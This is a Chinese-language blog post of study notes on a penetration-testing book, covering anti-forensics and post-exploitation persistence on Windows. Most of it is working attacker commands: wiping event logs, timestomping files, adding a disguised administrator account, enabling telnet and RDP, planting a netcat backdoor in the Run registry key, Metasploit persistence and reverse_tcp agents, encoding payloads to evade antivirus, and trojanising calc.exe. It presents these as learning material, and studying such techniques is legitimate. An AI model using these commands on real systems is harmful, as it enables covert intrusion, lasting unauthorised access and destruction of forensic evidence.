C:\ del %WINDIR%\*.log /a/s/q/f
# a选项直接删除所有日志,s选项删除包括所有子文件夹的文件,q选项禁用所有的查询,f选项强行删除文件
  • 在meterpreter提示符下执行clearev命令
    该命令将删除目标机上的应用程序,系统和安全日志
  • metasploit中的timestomp选项,它允许攻击者修改文件的MAC参数(文件的最后一次修改,访问,创建,以及MFT入口修改时间)
    • 刚创建的文件对于依照创建时间或者依照MAC参数进行排序的人是显而易见的,所以可以调用以下命令实现MAC参数覆盖
timestonp [文件名] -v
# 查看文件的MAC参数,假设为README文件,用cmd覆盖

timestonp README.txt -f C:\\WINDOWS\ system32\cmd.exe
# 可以使用-b选项清空MAC数据,则MAC参数时间会被改到未来,这种变化虽然会引起调查者的注意但是无法利用该数据进行取证分析,如果不是改到未来,文件的上次访问时间仍是正确的,就给了调查者信息

攻击者需要递归的改变目录下的所有的设置时间,或者在一个特定的驱动器上所有的设置时间

meterpreter>timestompC:\\ -r
# 破坏时间戳

第六章 后期利用——持久性

后门/恶意软件:用来维持持久交互的工具
持久代理:打算在被入侵系统上停留较长时间的恶意软件
关注攻击者杀链的最后阶段—— 命令、控制和通信阶段。
学习攻击者如何使用持久代理与被入侵系统建立通信。

  • 持久代理需要实现的功能:允许上传额外工具支持新的攻击,特别是对同一网络系统,便于从被入侵的系统和网络中外泄数据,允许攻击者和被入侵系统重新连接,通常通过加密信道来避免探测,采用反取证技术来避免被发现,包括在目标文件系统或系统内存中隐藏,使用强认证和加密技术。

6.1 破解现有的系统和应用程序文件进行远程访问

攻击者将后门安放在系统现有的文件结构中,成为其一部分,无需隐藏。

  • 启用远程服务

    • 利用metasploit框架来启动windows的telnet服务,利用它来提供持久性;
    • 实现思路:
    meterpreter> execute -H -f cmd -i
    # 获得meterpreter 会话(迁移会话以确保一个稳定的shell),然后提升权限,接下来执行语句,该命令创建一个交互命令shell(-i),该shell充当隐藏的进程(-H)
    
    • 使用shell创建一个新用户账户,来确保持久性
      • 当攻击被发现时,使用能吸引注意力的名字创建账户(混淆视听,找其他攻击点)
      • 创建一个账户,例如Service_Account ,该账户看起来时正常系统功能的一部分
      • 创建命令:
      C:\net user Service_Account password /ADD
      C:\net localgroup administrators Service_Account  /ADD
      
    • 退出shell开启telnet;
    run gettelnet -e
    
    • 开启telnet后需要用telnet协议连接目标系统的IP 地址,提供创建用户账户时的用户名和密码(利用shell创建的账户);
    telnet [IP]
    # 以下是根据提示符输入
    login: Service_Account 
    password:      
    
  • 启用远程windows终端服务

    • 用于解决如果需要一个GUI来进行访问;
    • 持续开启windows终端服务是一种最可靠的技术;即远程桌面协议(RDP),需要管理员的权限和目标操作系统的版本号;
    # 利用meterpreter获得shell后,用以下命令修改注册表
    C:\ reg add "hklm\system\currentControlSet\Control\Terminal
    Serve" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
    C:\ reg add "hklm\system\currentControlSet\Control\Terminal
    Serve" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
    
    # 确保RDP协议能够通过客户端的防火墙
    C:\ netshadvfirewall firewall set rule group="remote desktop" new enable=Yes
    
    #开启RDP服务
    C:\ net start Termservice
    
    # 确保持久性,每次开启计算机都能启动RDP服务;
    C:\ sc configTermService start= auto
    
    • 利用meterpreter框架 使用GETGUI脚本自动开启RDP服务;
    run getgui -u Service_Account -p pa$$word
    
  • 启用远程虚拟网络计算

    • 利用系统中包含的可以被入侵的应用程序(特别是远程接入程序)
      • 攻击者很可能从注册表中为某些程序提取远程接入密码。VNC程序在注册表中存放密码
      • 不同版本的VNC包含了不同的漏洞,可以利用这些来入侵应用程序,从而远程接入目标系统;
    • metasploit可以利用VNCINJECT模块,把VNC直接注入到被攻击系统中;

6.2 使用持久代理

前门:合法用户提供认证接入
后门:被攻击者植入被攻破系统,允许攻击者返回被攻破系统,获得数据和服务;
但是后门一旦被删除,攻击者就需要重新攻破系统;
所以下面将介绍持久代理;

  • 使用Netcat作为持久代理

    • netcat功能:端口扫描,提取用来识别服务的标志,端口重定向和代理,文件转移和网上聊天,包括支持数据取证和远程备份;在被攻破的系统上,作为后门或者持久交互代理;
    • 基于以上功能我们可以利用netcat在被攻破系统上建立一个持久的shell
    • 此外,为了不被反病毒软件发现,攻击时需要对文件进行重命名以及修改或移除不必要代码,然后进行重编译,改变反病毒软件用来识别应用的签名;
    • 实现思路:
    meterpreter> upload/usr/windows-binaries/nc.exe C:\\WINDOWS\\system32
    # 将nc.exe(实际文件名为自己定义),利用meterpreter上传到被攻击系统上,放在system32文件夹下,由于system32文件夹下的文件和文件类型的多样性,所以将netcat放在这个文件夹下是最合适的;
    
    meterpreter> reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -vv nc -d 'C:\\windows\\sysem32\\nc.exe -Ldp 444 -e cmd.exe'
    meterpreter> reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -vv nc
    # 配置注册表,使系统开始运行,并启动netcat,确保监听端口是444 (或者选择其他不常用端口也是可以的);用queryval命令确认已成功修改注册表;
    
    # 使用netsh命令打开连接到本地防火墙的端口,确保被入侵系统能够远程连接到netcat;需要知道系统的操作系统信息;同时规则的命名需要看起来对系统的正常运行有着关键作用,混淆视听;
    C:\Windows\system32>netsh firewall add portopening TCP 444 "service passthrough"
    # 确认修改成功
    C:\windows\system32>netsh firewall show portopening
    
    # 重启选项启动
    meterpreter> reboot 
    C:\windows\system32>shutdown -r -t 00
    # 远程接入被入侵系统 -v表示连接的详细程度,-vv表示报告更多详细的信息;
    nc -v [ip] [端口]
    
    • netcat没有认证机制,对传输的数据没有进行加密,几乎能偶被所有的反病毒软件检测到,所以需要使用cryptcat来加密,cryptcat是netcat的变体;
    cryptcat -k password -l -p 444
    C:\cryptcat -k password <listener IP address> 444
    # 但是加密并不意味着就不会被发现,大多数反病毒软件是可以检测到netcat和变体;可以用16进制编辑器对netcat源代码进行编辑,使其不能被检测到;
    
  • 使用Metaslpoit框架保持持久性

    • 使用metsvc脚本
      metsvc脚本是meterpreter的网络服务封装器,可以作为一种windows服务或者在命令行程序中运行。
      • 实现思路:
      • 在获得一个稳定的shell之后调用run命令,执行metsvc代理
      meterpreter> run metsvc
      # 会创建一个临时安装的目录,上传三个文件metsvc.dll,metsvc-server.exe,metsvc.exe;随后启动metsvc;
      
      msf> use exploit/multi/handler
      ... >set PAYLOAD windows/metsvc_bind_tcp
      ...> set LPORT 31337
      ...> set RHOST 192.168.43.128
      ...> show options
      # 为了与持久metsvc代理交互,攻击者打开metasploit框架,选择use exploit/multi/handler的windows/metsvc_bind_tcp作为有效载荷,同时设置其他参数(ip地址,端口);
      
      ...> exploit
      # 执行完该命令,两个系统之间会打开一个会话,可以提升权限,并实现其他从命令行启动的功能
      
      • metsvc脚本不需要认证,任何人都可以远程接入,且这不是一个隐蔽的攻击;
    • 使用persistence脚本
      • 通过在meterpreter命令提示符后调用persistence脚本
      run persistence -X -i 10 -p [port] -r [ip]
      # 配置persistence为系统开启时自动启动,并且试图连接监听者,频率为每十秒一次,监听者作为远程系统-r;可以通过特定的IP和端口被识别;
      
      • 脚本位于临时目录中的一个VBS文件中,可以用-L选项来选择不同的位置;脚本还将文件加入到注册表的本地自动运行部分。
      • 没有认证,所有人都可以使用它访问被入侵的系统,使用resource命令删除;
  • 使用Metaslpoit框架创建一个独立持久代理

    • 创建独立的可执行文件,可以保留在被入侵的系统中,允许交互通信;独立包装的优点在于,可以提前准备和测试用以确认连接,可以编码来绕过本地反病毒的软件。
    msf> msfpayload windows/meterpreter/reverse_tcp LHOST=【ip】LPORT=【port】x > /root/Desktop/attack1.exe
    # 使用msfpayload创建持续代理,使用reverse_tcp shell来配置代理;连接到本地ip和端口 代理名为attack1.exe,使用win32 可执行程序模板;
    # 独立执行的代理仅仅工作在没有安装反病毒软件的被入侵系统上,或者是用适当的meterpreter命令使得反病毒软件失效的环境上;
    
    # 否则,为了绕开反病毒软件,后门必须编码;在编码载荷时,有不同的选项;
    show encoders
    
    # 编码
    msf>msfencode -i attack1.exe -o encoded_attack1.exe -e x86/shikata_ga_nai -c 5 -t exe
    # 使用shikata_ga_nai协议对attack1.exe编码5次,虽然这使得反病毒软件难以侦测到,但是每次编码文件的大小也在增加;
    
    • 编码代理时应该避免以下字符,因为他们可能被发现,导致攻击失败;
      • \x00:代表0字节地址
      • \xa0:代表换行
      • \xad: 代表回车
    • 可以编码msfpayload到现有的可执行文件中。
    # 为了绑定持久代理到可执行文件,比如计算器(calc.exe),首先复制适当的calc.exe文件到位于/usr/share/metasploit-framework/data/templates的metasploit模板文件夹中,当模板就位时,执行以下命令
    msf> msfpayload windows/meterpreter/bind_tcp LPORT=444 R| msfencode -t exe -X calc.exe -k -o encoded_calc_attack.exe -e x86/shikata_ga_nai -c 5
    # 代理可以被放置到目标系统上,重命名为calc.exe;取代原来的计算器,随后执行,但是由于metasploit编码的可执行文件都能被客户的反病毒软件检测到,因为测试者会提交加密的载荷到网站,所以可以采用第四章提到的,创建一个可执行文件之后用Veil-Evasion进行加密;
    
  • 重定向端口来绕过网络控制

    • 简单端口重定向
    nc -l -p 44444 -e <TAGET IP> 444
    # 假设已经攻破了处于网络边缘的一个系统,它位于非军事区,且需要与远程位置的内部系统进行通信,此时我们利用netcat监听传入的命令并进行转发到目标上;
    # 监听 -l 传入的流量,执行 -e 流量的转移动作到目标的444端口,端口并不固定,无论是监听/转发主机还是目标主机,端口不必相同;
    
    # 如果缺少内部网络的相关信息,可以使用以下命令获取;
    nc -l -p <local listening port> -c "nc <TARGET IP> <TARGET port>"
    # 该命令设置了本地(攻击者)netcat实例,来监听-l指定的端口,然后指示netcat同每一个新的连接(-c)创建一个新的进程;
    
    • 双向端口重定向
      考虑三个单独的windows数据系统:
      【攻击者】|【转发器】|【目标】
      • 命名管道:FIFO,是一种创建内部进程通信的方法,使得能够把它当作对象处理,使得发出命令时管理更加容易;
      nc -l 6661
      nc -l 6666
      # 监听端口
      
      mkfifo reverse
      # 创建管道
      
      nc localhost 6661 0<reverse | nc localhost 6666 1>reverse
      # 配置netcat本地实例,使用命名管道来建立跨越转发系统到攻击者的双向通信
      
      socat tcp:localhost:6661 tcp:localhost:6646
      # 可以用socat来获得同样的双向数据流,它被设计为实施这种类型的连接
      

至此,书籍第一部分 攻击者杀链到此结束;作者通过描述攻击者在入侵网络或者孤立的系统时需要掌握的知识、工具,以及对应的操作步骤,带着读者将入侵系统的过程以及需要注意的点/渗透过程需要注意的事项边复现边讲述,整体的流程十分清晰,不过由于书籍出版时间早,书中实例已经有些老旧,大家在阅读学习的过程中应该更重视框架思维的学习,工具或者方法,可以对应找到最新的方法去学习和补充;

第二部分交付过程,将要通过不同的攻击途径研究杀链的具体应用,这个我就不详细出了,因为应用中太多代码跑不了,所以调试所要花费的时间和精力都很多,就不整理了。

希望以上写的第一部分的内容学习笔记对大家有帮助o( ̄▽ ̄)ブ

拜ヾ(•ω•`)o

Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐